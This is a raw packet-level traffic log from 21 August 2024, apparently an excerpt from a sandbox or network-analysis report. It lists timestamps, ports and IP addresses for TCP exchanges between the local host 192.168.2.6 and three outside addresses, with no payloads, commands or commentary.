Aug 21, 2024 08:32:16.127706051 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.127780914 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.127787113 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.127964020 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.128303051 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.128318071 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.128379107 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.128382921 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.128464937 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.129077911 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.129087925 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.129213095 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.129220963 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.129354954 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.129400969 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.129417896 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.129472971 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.129478931 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.129527092 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.132143021 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.132160902 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.132215023 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.132220984 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.132242918 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.132286072 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.134165049 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.134181023 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.134190083 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.134198904 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.134233952 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.134270906 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.134298086 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.134305000 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.134318113 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.134321928 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.134354115 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.134385109 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.135305882 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.135314941 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.135327101 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.135371923 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.135381937 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.135387897 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.135400057 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.135405064 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.135437012 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.135468960 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.135478020 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.135487080 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.135494947 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.135548115 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.135548115 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.135550976 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.135560036 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.135570049 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.135576963 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.135585070 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.135591984 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.135598898 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.135627985 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.135653973 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.136014938 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.136023998 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.136037111 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.136044979 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.136053085 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.136059999 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.136066914 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.136071920 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.136086941 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.136086941 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.136101007 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.136106014 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.136111975 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.136117935 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.136122942 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.136133909 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.136137009 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.136137009 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.136140108 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.136152029 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.136169910 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.136198044 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.136749029 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.136756897 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.136764050 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.136769056 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.136780977 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.136838913 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.136838913 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.140625954 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.140642881 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.140649080 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.140655041 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.140661955 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.140667915 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.140681028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.140712023 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.140742064 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.140752077 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.140758991 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.140764952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.140770912 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.140782118 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.140785933 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.140804052 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.140845060 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.140853882 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.140858889 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.140861988 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.140870094 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.140887976 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.140897036 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.140906096 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.140913010 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.140938044 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.140953064 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.141093016 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141102076 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141117096 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141133070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141139984 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141150951 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.141151905 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141158104 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141163111 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141180992 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141184092 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.141207933 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.141223907 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.141314983 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141321898 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141331911 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141338110 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141341925 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141346931 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141366005 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.141369104 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141377926 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141381025 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141400099 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.141422033 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.141426086 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141432047 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141438007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141443014 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141467094 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.141489983 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.141594887 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141638041 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.141679049 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.142007113 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142031908 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142036915 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142047882 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142081976 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.142111063 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.142163038 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142172098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142179966 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142189026 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142214060 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.142230988 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.142280102 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142286062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142297029 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142302990 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142313004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142318010 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142335892 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.142359972 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.142395973 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.142411947 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.142455101 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142471075 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142479897 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142493010 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142499924 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142505884 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142510891 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.142517090 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142518997 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.142527103 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.142545938 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.142577887 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.142611980 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.142750978 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142760038 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142771959 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142777920 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142788887 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142795086 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142817020 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.142860889 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.142860889 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.142983913 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.144390106 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.144407034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.144423962 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.144426107 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.144431114 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.144443989 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.144448996 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.144463062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.144473076 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.144500017 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.153610945 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.153628111 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.153640985 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.153646946 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.153651953 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.153662920 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.153669119 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.153672934 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.153704882 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.153740883 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.153836012 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.153848886 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.153917074 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.153923988 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.153996944 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.166277885 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.166289091 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.166304111 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.166317940 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.166327953 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.166332960 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.166340113 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.166346073 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.166378021 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.166418076 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.166460037 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.166522026 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.166528940 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.166631937 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.166666031 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.166718960 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.166728020 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.166735888 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.166737080 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.166805983 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.166805983 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.166810989 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.166819096 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.166853905 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.167746067 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.167756081 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.167768002 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.167777061 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.167788982 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.167794943 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.167802095 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.167805910 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.167843103 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.167874098 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.167953968 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.176423073 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.176434040 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.176445961 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.176453114 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.176538944 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.176543951 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.176554918 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.176559925 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.176582098 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.176582098 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.176637888 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.177232027 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177238941 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177249908 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177280903 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177287102 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177293062 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177297115 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.177298069 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177325964 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.177370071 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.177475929 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177484989 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177500010 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177508116 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177520990 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177529097 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177539110 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177546978 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177556038 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177567005 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.177596092 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.177629948 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177656889 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177663088 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177675962 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177711964 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.177751064 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.177762032 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177767992 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177773952 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177812099 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.177866936 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177886009 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177894115 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177901983 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177911043 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177923918 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177932024 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177939892 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.177943945 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.177979946 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.177979946 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.178072929 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178080082 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178091049 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178138018 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.178163052 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.178190947 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178200006 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178208113 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178215981 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178230047 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178236008 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178241014 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178245068 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.178245068 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.178272009 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.178302050 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.178316116 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178324938 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178338051 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178380966 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.178420067 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178428888 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178436995 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.178443909 CEST	80	49719	147.45.44.104	192.168.2.6
